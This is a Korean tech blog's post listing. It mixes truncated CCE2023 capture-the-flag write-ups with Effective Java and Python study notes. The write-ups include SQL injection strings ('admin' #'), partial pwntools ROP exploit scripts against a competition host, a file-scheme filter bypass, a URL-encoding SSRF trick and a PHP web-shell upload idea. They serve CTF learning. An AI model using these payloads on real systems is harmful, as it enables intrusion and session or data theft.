티스토리

IT Bl0g
검색하기

블로그 홈

IT Bl0g

steven-life-1991.tistory.com/m

IT의 주제로 여러 정보를 공유합니다.

구독자
5
방명록 방문하기
공지 블로그 리뉴얼 모두보기

주요 글 목록

  • CCE2023 APOLLO WEB HACKING [100] - GS25 Description Tetris is so much fun. Tetris server Robot server prototype pollution으로 javascript를 서버(관리자페이지)에 보내서 세션을 탈취해오는 것이 목적인 문제 Client 단에서 jquery 3.1.1 버전을 사용하고 있었고 해당 버전에는 Javascript Prototype Pollution 취약점이 존재 https://snyk.io/vuln/SNYK-JS-JQUERY-174006 Snyk Vulnerability Database | Snyk The most comprehensive, accurate, and timely database for open source vulnerabilities. security.snyk.io .. 공감수 1 댓글수 0 2023. 6. 6.
  • CCE2023 APOLLO WEB HACKING [100] - Request forgery Description Read Me http://prob2.cstec.kr:5583 입력부에서 file스키마("file://")를 필터링 중이어서 file:/로 우회 플래그의 위치는 추측하여 찾아봐야했다. 공감수 0 댓글수 0 2023. 6. 6.
  • CCE2023 APOLLO PWNABLE [100] - X64_ROP Description X64_ ROP nc prob2.cstec.kr 5339 64비트 ROP 문제. 버퍼 오버플로 취약점이 존재하며, PIE 가 꺼져 있다. 익스플로잇 작성 #!/usr/bin/python3 from pwn import * p = remote("prob2.cstec.kr", 5339) e = ELF("./x64_rop") l = ELF("./libc.so.6") p.sendlineafter(b"Enter choice : ", b"1") ret = 0x000000000040101a rdi = 0x0000000000401203 buf = b"" buf += b'A' * 16 buf += b'B' * 8 buf += p64(rdi) buf += p64(e.got["puts"]) buf += .. 공감수 0 댓글수 0 2023. 6. 6.
  • CCE2023 APOLLO PWNABLE [100] - X86_ROP Description X86 ROP nc prob2.cstec.kr 5340 32비트 ROP 문제. 버퍼 오버플로 취약점이 존재하며, PIE가 꺼져 있다. #!/usr/bin/python3 from pwn import * p = remote("prob2.cstec.kr", 5340) e = ELF("./x86_rop") l = ELF("./libc.so.6") p.sendlineafter(b"Enter choice : ", b"1") r = 0x000000000040101a pr = 0x080491e5 rdi = 0x0000000000401203 buf = b"" buf += b'A' * 24 buf += b'B' * 4 buf += p32(e.plt["puts"]) buf += p32(pr) buf +.. 공감수 0 댓글수 0 2023. 6. 6.
  • CCE2023 APOLLO CRYPTO [100] - Base64? Description 커스텀 키 테이블을 이용한 base64 encode_flag.txt 7nqRmsVR7AD/mhOpmsyNnHyp7YO+mHORmHOAnHDpihFl95== data.txt How many special people change? How many lives are livin' strange? Where were you while we were getting high? Slowly walkin' down the hall Faster than a cannonball Where were you while we were getting high? Someday you will find me Caught beneath the landslide In a champagne supernova in t.. 공감수 0 댓글수 0 2023. 6. 6.
  • CCE2023 APOLLO CRYPTO [100] - ROT flag를 입력할 수 있도록 나오는 페이지 존재 그리고 같이 첨부되는 html 파일 암호화된 '2A@==@3LC~Ecf0u@CE*0DtGt?0C@Ecf0!2Dcf502&9N'를 ROT47로 디코딩 flag 획득 입력 페이지에 입력하면 아래와 같이 나온다. 공감수 0 댓글수 0 2023. 6. 4.
  • CCE2023 APOLLO WEB HACKING [100] - reborn of php 그룹웨어 페이지에 등록 및 로그인 화면을 볼 수 있다. 관련 파일을 다운받으면 docker.file을 확인할 수 있으며 flag는 /flag에 위치하는것을 알 수 있다. 회원가입할 때 id에 입력한 값을 파일 명으로 password에 입력한 값을 데이터로 저장 function save_user_id($id, $pw){ chdir('../'); file_put_contents("dbs/{$id}", serialize($pw)); } 파일을 생성하여 웹셀 코드 생성 파일명 : ccehello.php 파일 데이터 : s:5:""; 또한, index.php 파일에서 a, b Parameter를 이용하여 특정 페이지를 include 하는 코드가 존재하고 있습니다. class Controller { private .. 공감수 0 댓글수 0 2023. 6. 3.
  • CCE2023 APOLLO WEB HACKING [100] - BabyWeb 첫화면에 무언가를 insert하고 submit하여 해결하는 문제로 보인다. 같이 제공되는 소스를 분석해보자 의 조건으로 호스트 네임은 flag.service가 되어야 하지만 의 조건으로 Not allow가 반환되므로 url 전달 시 조건에는 false하지만 조건에는 부합하는 url을 전달 필요 즉, flag.service 호스트 네임 중 아무거나 16비트로 변환 후 url submit >> http://%66lag.service/flag 공감수 0 댓글수 0 2023. 6. 3.
  • CCE2023 APOLLO WEB HACKING [100] - Login me 기본 화면에서 id pw 묻는 문제 id와 pw 아무거나 넣을 시 id를 admin으로 넣어보자 역시 같은 정보가 뜨고 있다. sql 인젝션을 수행해보자 id : admin' or 1=1 -- pw : test 1에서 2로 바뀌었다. mysql일 수 있으니 주석 처리하는것을 바꿔보자 id : admin' or 1=1 # pw : test 관리자만 접근 가능하다고 한다. 인젝션은 되는것 같은데 무언가 부족하다. id : admin' # pw : flag 완료 공감수 0 댓글수 0 2023. 6. 3.
  • Python 숫자를 문자로 변환 (Integer to String) 1. str()으로 숫자를 문자로 변환 보통 str()으로 Integer를 String으로 변환합니다. num = 10 print(num) print(type(num)) num_str = str(num) print(num_str) print(type(num_str)) Output: 10 10 float도 str()으로 변환할 수 있습니다. num = 10.2 print(num) print(type(num)) num_str = str(num) print(num_str) print(type(num_str)) Output: 10.2 10.2 2. format()으로 숫자를 문자로 변환 다음과 같이 format()으로 Intger를 String으로 변환할 수도 있습니다. num = 10 print(num) pr.. 공감수 1 댓글수 0 2023. 4. 30.
  • <Effective Java> RULE 1. 생성자 대신 정적 팩토리 메소드를 사용할 수 없는지 생각해 보라 ◆ Public으로 선언된 생성자 대신 정적 팩토리 메소드를 제공하는 방법의 장단점 ▶장점 1. 생성자와 달리 정적 팩토리 메소드에는 이름이 있다. 클래스는 시그니처별로 하나의 생성자만 넣을수 있는데 이 제약을 피하는 방법은 인자의 순서를 바꾸는 법이다. 하지만 이것은 사용자가 각각 생성자 용도를 절대 기억 못하기 때문에 좋은 방법이 아니다. 하지만 정적 팩토리 메소드에는 이름이 있으므로 무슨 역할을 하는것인지 알기가 쉽다. 따라서 같은 생성자를 여러개 정의할 필요가 있을 때는 그 생성자들을 정적팩토리 메소드로 바꾸고 메소드 이름을 명확히 구분해준다. 2. 생성자와는 달리 호출할 때마다 새로운 객체를 생성할 필요가 없다. 정적 팩토리 메소드를 사용하면 같은 객체를 반복해서 반환할 수 있으므로 어떤시점에서.. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 2. 생성자 인자가 많을 때는 Builder패턴 적용을 고려하라 선택적 인자가 많은 상황에서 정적팩토리나 생성자는 적합하지 않다. 인자가 20개가 넘은 상황에서는 무슨 패턴을 사용해야 할까? 인자가 많을 시 주로 사용하는 패턴 1) 점층적 생성자 패턴 2) 자바빈 패턴 3) 빌더 패턴 1) 점층적 생성자 패턴 - 많은 인자 개수에 적합하지 못하다. 점층적 생성자 패턴을 잘 동작하지만 인자 수가 늘어나면 클라이언트 코드를 작성하기가 어려워지고, 무엇보다 읽기 어려운 코드가 되고 만다. 2) 자바빈 패턴 - 일관성 훼손이 가능하고, 항상 변경 가능하다. 1회의 함수 호출로 객체 생성을 끝낼 수 없으므로, 객체 일관성이 일시적으로 깨질 수 있다는 것이다. 또한 객체를 수정하는 설정자가 있으므로 자바빈 패턴으로는 객체를 수정할 수없는 클래스인 변경 불가능(immutable).. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 3 private 생성자나 enum자료형은 싱글턴 패턴을 따르도록 설계하라. 싱글턴은 객체를 하나만 만들 수 있는 클래스다. 하지만 클래스를 싱글턴으로 만들면 클라이언트 테스트하기는 어렵다. JDK 1.5이전 싱글턴 구현하는 방법 2가지 1. 정적 멤버 이용 // public final 필드를 이용한 싱글턴 public class Elvis{ public static final Elvis INSTANCE = new Elvis(); private Elvis() {..} public void leaveTheBuilding() {..} } 주의) AccessibleObject, setAccessible 메서드의 도움을 받아 권한 획득한 클라이언트는 리플렉션 기능을 통해 private 생성자를 호출할 수 있다. (규칙 53) 이런종류의 공격을 방어하고자 한다면 두번 째 객체를 생성하라는.. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 4 객체 생성을 막을 때는 private 생성자를 사용하라 객체를 만들 수 없도록 하려고 클래스를 abstract로 선언해 봤자 소용이 없다. private 생성자를 클래스에 넣어서 생성을 방지해야 한다. // 객체를 생성할 수 없는 유틸리티 클래스 public class UtilityClass{ // 기본 생성자가 자동 생성되지 못하게 하여 객체 생성 방지 private UtilityClass(){ throw new AssertionError(); } ... } 명시적으로 정의된 생성자가 private이므로 클래스 외부에서는 사용할 수 없다. AssertionError는 반드시 필요한 건 아니지만 클래스 안에서 실수로 생성자를 호출하면 바로 알 수 있게 하기 위한 것이다. 주석을 같이 달아주어 명시적으로 생성자를 생성할 수 없다는것을 밝히면 좋다. 또한 이렇게.. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 5. 불필요한 객체는 만들지 말라 기능적으로 동일한 객체는 요할 때마다 만드는 것보다 재사용하는 편이 낫다. //어느것이 더 효율적일까? //1번 String s = new String("QueryBox"); //2번 String s = "QueryBox"; * new 로 String객체를 생성(1번)하면 다른 인스턴스를 만들때 처럼 heap 메모리에 객체가 생성된다. String s = new String(“QueryBox”) 는 String 객체를 생성할 때마다 heap 영역의 어딘가에 “Querybox" 값이 매번 새롭게 저장되어 새로운 레퍼런스를 반환하게된다. * String s = Querybox” 처럼 큰따옴표 방식(2번)으로 객체를 생성할 때도 heap 메모리에 객체가 생성된다. heap 에 저장되는 것 자체는 두 방식 모두.. 공감수 0 댓글수 1 2023. 4. 28.
  • <Effective Java> RULE 6 유효기간이 지난 객체 참조는 폐기하라 가비지 콜렉터가존재하는 언어를 사용하면 볼일없는 객체는 자동으로 반환되는데 신경쓰지 않다보면 메모리관리가 필요하다는것을 망각할 수 있다. 예) 스택 : 메모리누수가 어디서 생기는가? public class Stack{ private Object[] elements; private int size = 0; private static final int DEFAULT_INITIAL_CAPACITY = 16; public Stack(){ elements = new Object[DEFAULT_INITIAL_CAPACITY]; } public void push(Object e){ ensureCapacity(); elements[size++] = e; } public Object pop(){ if(size = 0) .. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 8 Equals를 재정의할 때는 일반 규약을 따르라 Equals 함수는 재정의하기 쉬워 보이지만 실수할 여지도 많고 그 결과는 끔찍하다고한다. 가장 간단한 방법은 Equals함수를 재정의하지 않는 방법인데 개인적으로 공통 함수로 제공되는 것을들을 그냥 사용하는것이 좋다고 생각한다. 꼭 필요한 경우에만 재정의 하도록 하자. 언제 Object.equals를 재정의를 해야하나? 1. 객체 동일성이 아닌 논리적 동일성의 개념을 지원하는 클래스일 때 2. 상위 클래스의 equals가 하위 클래스의 필요를 충족하지 못할 때 Equals 재정의가 필요없을 때 1. 싱글톤 패턴 2. 열거 자료형(Enum) 이러한 클래스는 객체 동일성이 곧 논리적 동일성이다. Equals메서드는 동치관계를 구현한다. 동치관계 : https://ko.wikipedia.org/wiki/%E.. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 9 Equals를 재정의 할때는 반드시 hashCode도 재정의하라 Equals 메서드를 재정의하는 클래스는 반드시 hashCode메서드도 재정의 해야한다. hashCode를 재정의하지 않으면 위반되는 핵심 규약은 두번째이다. 같은 객체는 같은 해시코드값을 가져야 한다는 규약이 위반되는 것이다. @Override public int hashCode() { return 42; } // 위와같이 해시코드를 구현하면 안된다. 모든 개체가 같은 해시코드를 갖게되면 안된다. @Override public int hashCode(){ int result = 17; result = 31 * result + areaCode; result = 31 * result + prefix; result = 31 * result + lineNumber; return result; } 위의 메서드는.. 공감수 0 댓글수 1 2023. 4. 28.
  • <Effective Java> RULE 10 toString은 항상 재정의하라. toString의 일반 규약 - 반환하는 문자열은 사람이 읽기 쉽도록 간략하지만 유용한 정보를 제공해야 한다. - 모든 하위 클래스는 이 메서드를 재정의함이 바람직하다. Object 클래스에서는 toString 메서드를 제공하여 해당 클래스 혹은 개체를 대표하는 문자열을 반환할 수 있게 하고 있다. 다음 예제 코드는 toString 메서드를 재정의하지 않은 Def_toString 클래스와 재정의한 My_toString 클래스를 정의하고 개체를 생성하여 확인하는 코드이며 더불어 int 형식과 String 형식도 테스트하고 있다. //toString 메서드를 재정의하지 않은 클래스 public class Def_toString { int value; public Def_toString(int value){ .. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 11 Clone을 재정의할 때는 신중하라 Clone? Cloneable은 어떤 객체가 복제(Clone)을 허용한다는 사실을 알리는데 고안된 인터페이스 특징 → clone메소드가 없다. → Object의 clone메소드는 protected로 선언되어 있다. 그러면 리플렉션을 사용하여 clone메소드를 호출해야 하나? → 호출 가능한 clone메소드가 구현 되어 있는지 모르기 때문에 부적절 1. clone메소드를 구현하는 방법 clone메소드의 일반 규약 → 객체의 복사본을 만들어서 반환한다. → 복사의 정확한 의미는 다음의 조건이 충족되어야 한다. → x.clone() != x 참 → x.clone().getClass() == x.getClass() 참 → x.clone().equals(x) 참 객체를 복사하면 보통 같은 클래스의 새로운 객체가 .. 공감수 0 댓글수 0 2023. 4. 28.
  • <Effective Java> RULE 12 Comparable 구현을 고려하라 String이 Comparable을 구현하고 있다는 사실을 이용하여 명령행 인자들을 알파벳 순서로 정렬하는 동시에 중복을 제거한다. public wordList{ public static void main(String[] args){ Set s = new TreeSet(); Collections.addAll(s,args); sysout(s); } } 자바 플랫폼 라이브러리에 포함된 거의 모든 값 클래스들은 Comparable 인터페이스를 구현한다. 알파벳 순서나 값의 크기, 또는 시간적 선후관계처럼 명확한 자연적 순서를 따르는 값 클래스를 구현할 때는 Comparable 인터페이스를 구현할 것을 반드시 고려해 봐야 한다. public interface Comparable { int compareTo(T .. 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 13 클래스와 멤버의 접근 권한은 최소화 하라 잘 설계된 모듈과 그렇지 못한 모듈을 구별 짓는 가장 중요한 속성 하나는 모듈 내부의 데이터를 비롯한 구현 세부사항을 다른 모듈에 잘 감추느냐의 여부이다. 잘 설계된 모듈은 구현 세부사항을 전부 API 뒤쪽으로 감춘다. 정보은닉 → 의존성을 낮춰서 각자 개별적으로 개발하고 시험, 최적화할 수 있도록 하는데 기초한다. → 시스템 개발 속도를 높이고 각각 모듈을 병렬적으로 개발할 수 있다. → 유지보수의 부담을 낮추고 모듈을 각각 좀더 빨리 이해할 수 있을 뿐만 아니라 다른 모듈에 영향없이 디버깅을 할 수 있다. → 어떤 모듈이 성능에 문제를 일으키는지 프로파일링 하기 용이하다. → 소프트웨어의 재사용 가능성을 높인다. → 대규모 시스템 개발 과정의 위험성도 낮춘다. 자바는 정보은닉을 실현할 수 있도록 다양.. 공감수 0 댓글수 1 2023. 4. 27.
  • <Effective Java> RULE 14 public 클래스 안에는 public 필드를 두지 말고 접근자 메서드를 사용하라 필드에 직접 조작할 수 있기 때문에 캡슐화 이점을 누릴 수 없다(규칙 13) class Point{ public double x; public double y; } //아무런 기능도 없는 쓰레기 클래스 생성 선언된 패키지 밖에서도 사용 가능한 클래스에는 접근자 메서드를 제공하라(규칙 14) class Point{ private double x; private double y; public Point(double x, double y){ this.x = x; this.y = y; } public double getX() {return x;} public double getY() {return y;} public void setX(double x) {this.x =x;} public void setY(dou.. 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 15 변경 가능성을 최소화 하라 변경 불가능 클래스는 그 객체를 수정할 수 없는 클래스이다. 객체 내부정보는 객체가 생성될 때 주어진 것이며 객체가 살아있는 동안 그대로 보존된다. → String → BigInteger → BigDecimal.. 변경불가능 클래스를 만들때 5가지 규칙 1. 객체 상태를 변경하는 메서드(수정자 메서드 등)을 제공하지 않는다. 2. 계승할 수 없도록 한다. 3. 모든 필드를 final로 선언한다. → 새로 생성된 객체에 대한 참조가 동기화없이 다른 스레드로 전달되어도 안전하다. 4. 모든 필드를 private로 선언한다. → 클라이언트가 필드가 참조하는 변경 가능 객체를 직접 수정하는일을 막을 수 있다. 5. 변경 가능 컴포넌트에 대한 독점적 접근권을 보장한다. → 클래스에 포함된 변경 가능 객체에 대한 .. 공감수 0 댓글수 1 2023. 4. 27.
  • <Effective Java> RULE 7 종료자 사용을 피하라 종료자 사용은 예측 불가능 하며, 대체로 위험하고 일반적으로 불필요하다. → 시스템 오류, 성능 문제, 이식성 문제가 발생할 수 있다. → JVM에서는 종료자가 즉시 실행되리라는 보장이 전혀 없다. 따라서 긴급한 작업을 종료자 안에서 처리하면 안된다. 종료자 실행 시점은 GC알고리즘에 좌우되는데 이 알고리즘은 JVM구현마다 크게 다르다. → 자바 명세에는 종료자가 즉시 실행되어야 한다는 문구도 없지만 종료자가 반드시 실행되어야한다는 문구도 없다. → 중요 상태 정보는 종료자로 갱신하면 안된다. System.gc나 System.runFinalization들은 종료자가 실행될 가능성을 높여주긴 하지만 보장하진 않는다. 종료자 실행을 보장하는 메서드인 System.runFinalizersOnExit, Runt.. 공감수 0 댓글수 1 2023. 4. 27.
  • <Effective Java> RULE 16 계승하는 대신 구성하라 계승을 고려해 설계되고 그에 맞는 문서를 갖춘 클래스에 사용해야 안전하다(규칙 17) 메서드 호출과 달리, 계승은 캡슐화 원칙을 위반한다. 상위클래스의 구현은 릴리즈가 거듭될 때마다 달라질 수 있는데 그에따라 하위 클래스의 기능 또한 발맞춰 변화해야한다. ex) HashSet에 객체를 추가하여 개수를 반환하는 코드 //잘못된 사례 public class InstrumnentedHashSet extends HashSet { private int addCount = 0; ~ @Override public boolean add(E e){ addCount++; return super.add(e); } @Override public boolean addAll(Collection 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 17 계승을 위한 설계와 문서를 갖추거나, 그럴 수 없다면 계승을 금지하라 계승을 위한 설계와 문서를 갖춘다? → 재정의 가능 메서드를 내부적으로 어떻게 사용하는지(self-use) 반드시 문서에 남기라는 것이다. → 모든 메서드와 생성자에 대해, 어떤 재정의 기능 메서드를 어떤 순서로 호출... → 좋은 API문서는 메서드가 하는일이 무엇인지 명시해야지 그일을 어떻게 하는지 명시해서는 안된다?? → 하위 클래스를 만들기 안전한 클래스가 되려면 문서에 구현 세부사항을 명시해야 한다. 클래스 내부동작에 개입할 수 있는 훅(Hooks)을 신중하게 고른 protected메서드 형태로 제공해야 한다. protected void removeRange(int fromIndex, int toIndex) Removes from this list all of the elements whose .. 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 18 추상 클래스 대신 인터페이스를 사용하라 추상 클래스 - 구현된 메서드를 포함할 수 있다. - 추상클래스가 규정하는 자료형을 구현하기 위해서는 추상 클래스를 반드시 계승해야 한다 - 자바는 다중상속을 허용하지 않기 때문에 추상클래스로 자료형을 사용하는데에는 많은 제약이 있다. 인터페이스 - java 1.8부터 default메서드를 통해 인터페이스에서도 구현을 포함할 수 있다. - 인터페이스에 포함된 모든 메서드를 정의하고 인터페이스가 규정하는 일반 규약을 지키기만 하면 되며 그렇게 만든 클래스는 클래스 계층에 속할 필요가 없다. 인터페이스의 장점 - Mix-IN을 정의하는데 이상적이다. (주 자료형 이외에 추가적으로 구현할 수 있는 자료형) - 비 계층적인 자료형 프레임워크를 만들 수 있도록 한다. - Wrapper 클래스 숙어를 통해 안전하면.. 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 19 인터페이스는 자료형을 정의할 때만 사용하라 상수 인터페이스 interface PhysicalConstants{ static final double AVOGADROS_NUMBER = 6.02214199e23; static final double BOLTZMANN_CONSTANT = 1.3806503e-23; static final double ELECTRON_MASS = 9.10938188e-31; } 상수 인터페이스는 잘못 사용한 것! - 클래스가 어떤 상수를 어떻게 사용하느냐 하는것은 구현의 세부사항이다. - 상수 정의를 인터페이스에 포함시키면 구현세부사항이 클래스의 공개 API에 스며들게 된다. - 하위 클래스에도 인터페이스의 상수들로 오염된다. - 상수 유틸리티 클래스를 사용하도록 한다. 상수 유틸리티 클래스 class PhysicalCon.. 공감수 0 댓글수 0 2023. 4. 27.
  • <Effective Java> RULE 20 태그달린 클래스 대신 클래스 계층을 활용하라 태그달린 클래스 public class Figure { enum Shape { RECTANGLE, CIRCLE }; //어떤 모양을 나타냄 final Shape shape; //태그가 Rectangle일 때 사용되는 필드 double length; double width; //태그가 Circle일때 사용되는 필드 double radius; //원을 만드는 생성자 Figure(double radius){ shape = Shape.CIRCLE; this.radius = radius; } //사각형을 만드는 생성자 Figure(double length, double width){ shape = Shape.RECTANGLE; this.length = length; this.width = width; } doub.. 공감수 0 댓글수 0 2023. 4. 27.
    반응형
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.